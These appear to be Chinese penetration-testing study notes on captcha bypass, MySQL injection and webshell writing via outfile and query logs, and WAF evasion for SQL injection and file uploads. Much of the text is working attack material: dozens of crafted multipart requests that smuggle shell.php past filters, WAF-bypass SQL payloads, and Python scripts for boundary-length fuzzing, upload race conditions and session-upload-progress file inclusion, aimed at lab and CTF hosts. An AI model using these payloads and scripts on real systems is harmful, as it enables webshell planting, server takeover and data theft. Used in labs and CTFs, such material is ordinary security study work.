有验证码模块,但是验证模块与业务功能没有关联性,此为无效验证,无论输入什么都正确
验证码由客户端js生成并且仅仅在客户端用js验证,通过抓包查看是否有验证码字段或者是关闭js看能否通过验证.
验证码在html或者cookie中显示,或者输出到response headers的其他字段,可被直接查看
也叫验证码重复使用,是指验证码没有设置使用期限,在验证码首次认证成功后没有删除在session中的验证码,使得验证码可以被多次成功验证,从而造成危害.
服务端未对验证时间 次数做出限制,存在爆破的可能性,简单的系统存在可以直接爆破的可能性,但是做过一些防护的系统还得进行一些绕过才能进行爆破
验证码比较简单,可以通过推测猜到有哪些验证吗
burpsuite插件推荐:
xp_captcha:https://github.com/smxiazi/NEW_xp_CAPTCHA
captcha-kiler:https://github.com/c0ny1/captcha-killer/tags
reCAPTCHA:https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0
没有对发送短信验证码的发送时间 用户 ip做出限制
https://blog.csdn.net/m0_47418965/article/details/121613640
https://www.freebuf.com/vuls/253833.html
https://blog.csdn.net/ab_bcd/article/details/121157779
查看一下local_infile条件
show global variables like 'local_infile';
更改可写,这里要注意,在每一次连接数据库之后都需要重新设置这个值.
set global local_infile = 1;
show global variables like 'local_infile';
尝试不用local写入文件
create table server (text varchar(160) );
load data infile 'C:\\Users\\14980\\Desktop\\load.txt' into table server fields terminated by '\n';
这是因为在mysql安装的时候限制了导入与导出目录权限,只允许在归定的目录下才能导入
SHOW VARIABLES LIKE "secure_file_priv";
删除
SHOW VARIABLES LIKE "secure_file_priv";
show global variables like 'local_infile';
set global local_infile = 1;
create TABLE local ( text VARCHAR(160));
load data local infile 'D:\\download\\load.txt' into table local fields terminated by '\n' ;
benchmark(t,exp);
select benchmark(count,expr)
//是重复执行count次expr表达式,使处理时间很长,来产生延迟
SELECT benchmark (100000000,md5("hello"));
笛卡尔积(因为连接表是一个分耗时的过程) A*B=(A和B中的每一个元素的组合所组成的集合,就是连接表)
select count(*) from information_schema.columns A,information_schema.`COLUMNS` B,information_schema.TABLEs C;
select * from user A, user B,user C,user D,user E,user F,user G,user H;
get_lock(key,timeout); 需要两个连接会话
release_lock(key); 锁是否释放,释放了返回1
is_free_lock(key); 返回当前连接id,表示名称为"xxx"的锁正在被使用
我们新建两个查询
先运行这个test 1,在运行这个test 5.
接着这个控制台,我们改成几就是查询几了.但是这个办法有限制,需要与mysql之间的连接是长连接.原因就是一旦关闭这个初次加锁的控制台,锁就自动断开了.
在php中
mysql_connect() 脚本一结束,到服务器的连接就被关闭
mysql_pconnect() 打开一个到mysql服务器的持久连接
不会用,也不太好用https://www.cdxy.me/?p=789
https://www.cnblogs.com/forforever/p/13019703.html
执行原理
对于mysql数据库来说,–os-shell的本质就是写入两个shell文件,其中的一个可以让我们用来执行命令,另外一个,如果在网站访问的话可以让我们上传文件.
写shell的话有两个限制条件,首先,我们需要知道上传文件的两个限制条件,首先我们需要知道网站的绝对路径(我们的shell写到哪里),还需要有导入导出权限.
导入导出的权限在mysql数据库中是有secure_file_priv参数来控制的,当这个参数的后面为null的时候,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,secure_file_priv参数的默认值为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没有办法在5.7以上使用–os-shell
https://www.cnblogs.com/Xiaoming0/p/13951894.html
https://www.freebuf.com/articles/web/278879.html
https://plumstar.cn/2022/04/28/sqlmap-os-shell/
根据waf的固定规则去寻找有没有漏网之鱼.
有的时候,由于数据太大,会导致waf无法将所有的数据都检测完成,这个时候会忽略掉我们带入的sql注入语句,从而绕过,使用post请求,对服务器请求很大资源逃逸sql注入语句
基于协议层,有的waf只过滤get请求,而对post请求没有做别的限制,因此,可以将get类型转换成post请求
文件格式,页面只对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们可以将Content-Tyoe格式修改为multipart/form-data,即可绕过
参数污染 有的waf仅对部分内容进行过滤如
index.php?id=1&id=2
这样的参数id=1,waf也许仅对前面的 id进行检测,而后面的参数并不做处理
首先使用比较特殊的方法进行绕过
如果存在注入点,测试waf到底拦截了哪一部分数据,如果是空格,可以尝试/*%!%2f*/
,如果是对sql函数进行了过滤,可以尝试 sleep/*%!%2f*/
常见规则
3.缓冲区溢出
select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油0xA*1000 指的是0XA后面的 "A" 重复1000次一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度这里1000仅供参考,在一些情况下也可以更短
4.mysql特性绕过
1.= 等于
:= 赋值
@ @+变量名可直接调用
select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL
5.黑魔法
select{x user}from{x mysql.user};
6.内联注释
例如MySQL服务器可以在以下语句中识别STRAIGHT_JOIN关键字,而其他服务器则不能:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
如果在!后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。例如,以下注释中的关键字KEY_BLOCK_SIZE仅由MySQL 5.1.10或者更高版本的服务器执行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
/*! */类型的注释,内部语句会被执行
select bbb from table1 where aaa='' union /*! select database()*/;
可以用来绕过一些WAF,或者是绕过空格
但是,不能将关键词用注释分开,例如下面的语句是不可执行的(或者说只能在某些较老版本执行)
select bbb from table1 where balabala='' union se/*!lect database()*/;
https://www.freebuf.com/vuls/229300.html
https://www.jianshu.com/p/d10785d22db2
12种报错注入+万能语句_董呆呆的博客-CSDN博客_报错注入语句
条件
先查看有没有写文件的权限
show global variables like "%secure_file_priv%"
select "" into outfile "D:/Download/zf.php";
条件
查看是否开启了全局日志以及全局日志的存放位置
SHOW VARIABLES LIKE '%general%'
修改或者设置全局日志的保存目录为网站的web目录,并且日志保存为php文件
set global general_log=on;
set global general_log_file="C:\\phpStudy\\WWW\\test.php";
设置开启日志以及日志存储位置,这里日志存储位置为站点的根目录,执行命令写入日志文件
SELECT ""
慢日志查询 记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询,默认情况下慢查询日志为关闭,long_query_time值为10秒
条件
查询相关配置
show variables like '%slow%'
打开
set global slow_query_log=on;
写入
select '' or sleep(10);
https://chowdera.com/2022/01/202201020402437761.html
POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: sec
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sec
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryie9Mv0dt18E6H6MQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sec/upload-labs/Pass-01/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pass=01
Connection: close
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="upload_file"; filename=".htaccess.png"
Content-Type: image/png
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryie9Mv0dt18E6H6MQ--
这是一个完整的上传文件的数据包.这里在前段页面需要指定 Content-Type: multipart/form-data; 才能正常上传文件.
POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: sec
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryie9Mv0dt18E6H6MQ
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="upload_file"; filename=".htaccess.png"
Content-Type: image/png
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryie9Mv0dt18E6H6MQ--
头部字段的值既可以添加单引号也可以添加双引号,还可以不添加引号,都不会影响上传的结果,还可以去除filename字符串中的引号.
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
对关键字符进行大小写转换 Content-Disposition name filename.比如将name转换成NaMe,Content-Disposition转换成content-disposition
字符值与等号之间可以加入换行符,依然可以正常上传,如使用
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
文件解析时,可能因为分号解析不到文件名,导致绕过
Content-Disposition: form-data; name="file_x";;; filename="test.php"
在post中的内容中使用多个等号对文件上传没有影响
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
在某些waf解析的时候,认为Content-Dispostion的值一定是form-data,造成绕过,其实Content-Dispostion可以任意变换或为空
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
boundary可以变换为如下形式,且不影响上传
multipart/form-data大小写变换
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
multipart/form-data与boundary之间可以使用空格分割,且中间可以插入任何值
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
multipart/form-data与boundary之间可以使用逗号分割,且中间可以插入任何值
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
boundary之前可以直接加入任何值(php可行)
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
boundary末尾可以使用逗号或者分号隔开插入任何值
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
因为规定了Content-Disposition必须在最前面,所以只能交换name和filename的顺序.有的waf可能会匹配name在前面,filename在后面,可以导致绕过
Content-Disposition: form-data; filename="xx.php"; name="file_x"
Content-Disposition和Content-Type也是能够交换顺序的
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
不同boundary内容也能够交换,且不影响文件上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
下面这样也是可以正常上传的
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
刚才讲到过boundary末尾可以插入任何数据,那么就可以在boundary字符串末尾加入大量垃圾数据
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
刚才讲到过multipart/form-data与boundary之间可以插入任何数据,那么就可以在multipart/form-data与boundary之间加入大量垃圾数据
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
若WAF匹配文件名到分号截止,则可以绕过
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
php<5.3 单双引号截断特性
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import random
url="http://hackrock.com:813/Pass-01/index.php"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------""" + stri + """
Content-Disposition: form-data; name="submit"
上传
------""" + stri + """--
"""
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\n"
#print payload
#print headers
if result.count('上传'):
print "Length is : %s " % str(i)
break
except:
print "."
https://cloud.tencent.com/developer/article/1944142
https://zhuanlan.zhihu.com/p/89132768)
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获取到了执行服务器端命令的能力.这种攻击凡是是最为直接和有效的,文件上传本身没有什么问题,有问题的是文件上传后,服务器端如何去处理,解释文件,如果服务器的处理逻辑做的不够安全,则会导致严重的后果
首先上传文件能够被web容器解释执行,所以文件上传后所在的目录要是web容器所覆盖到的路径,其次,用户能够从web访问这个文件,如果文件上传了,但是用户无法通过web 访问,或者无法得到web容器解释这个脚本,那么也不能称为漏洞,最后,文件上传的文件若被安全检查,格式化,图片压缩等功能改变了内容,则也可能攻击不成功
https://www.freebuf.com/vuls/279171.html
原理简单,之间上代码
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀
$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
if(!preg_match('/php/i', $ext)){ #判断后缀是否为php
echo 'upload success,file in '.$path;
}else{
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
}
}else{
die('upload error');
}
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://wan/'
files = {'file': (
'wan.php', "');?>")}
r = requests.post(url=url +"server.php", files=files)
# print(r.text)
req = requests.get(url + "uploads/wan.php")
if req.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(20) as p:
p.map(td, range(200))
可以利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能
php的几个默认配置
#表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件是,php会把此次文件上传的详细信息(如上传时间 上传进度等)存储在session当中
1. session.upload_progress.enabled = on
#表示当文件上传结束后,php将会立即清除对应session文件中的内容,这个选项非常重要
2. session.upload_progress.cleanup = on
#prefix+name将表示为session中的键名
3. session.upload_progress.prefix = "upload_progress_"
#name当它出现在表单中,php将会报告上传进度,最大的好处是他的值可控
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
#表示为session中的键名
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
7.session.use_strict_mode=off
#增配置的默认值为off,表示我们对cookie中的sessionid可控
我们来看一下这两个.
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
7.session.use_strict_mode=off
// PHPSESSION = Sn0w
php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是有配置项session.save_handler来进行确定的,默认便是以文件进行存储,存储文件的名字便是有sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容,至于存储路径便是由配置项session.save_path来进行决定的.
一般session存储的路径都不会去更改,默认便是.
linux:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
Windows:
C:\WINDOWS\Temp
默认的存储路径知道了,但是还有一个问题,就是代码中没有session_start()函数,怎么创建出session文件呢?其实如果配置项session.auto_start=On 是打开的,那么php在接收请求的时候就会自动化session,不在需要执行该函数,但是默认都是关闭的,在session中还有一个默认选项,便是上面的session.use_strict_mode=0默认值off,用户可以自己定义sessionid.
Cookie中设置:
PHPSESSID=123
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_123
即使此时用户没有初始化session,php也会自动初始化session,并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
import requests
import io
import threading
url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
sessID = 'Sn0w'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':''},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()
Ctfshow/文件包含—web78-88 · 语雀 (yuque.com)
https://blog.csdn.net/qq_46150940/article/details/115639419
https://www.freebuf.com/sectool/200890.html
那么第一个问题就是页面的相似度.如何判断这两个页面的相似度呢?可以使用hashes.simhash,对两个页面的body计算hash值,在调用similarity获取两个页面的相似值,自定义一个阈值作为标准判断是否相似,radio可以根据具体请求调整
构造404页面的时候可以产生一个随机字符串去访问页面,这样一定会是错误页面,但是还要注意的是当你本身的第一个请求都是404的话,就没有后面的事情了.
https://xz.aliyun.com/t/4404
如果在cookie中设置了http only属性,那么将不能从js脚本中获取到cookie的信息,也就是说补鞥呢用document.cookie()来获取cookie
常规用到的就是盗取cookie js做钓鱼工具 流量指向等.主要作用是盗取管理员的凭证,就意味着得到后台的权限,可以直接利用.还能配合别的漏洞,比如可以和网站木马结合,扔到哪里去跳转
https://www.freebuf.com/articles/web/276998.html
https://xz.aliyun.com/t/5084
https://xz.aliyun.com/t/2179
https://xz.aliyun.com/t/11215
https://zhuanlan.zhihu.com/p/346220565
https://www.buaq.net/go-66428.html
https://blog.csdn.net/qq_39101049/article/details/102501839
eval()
assert
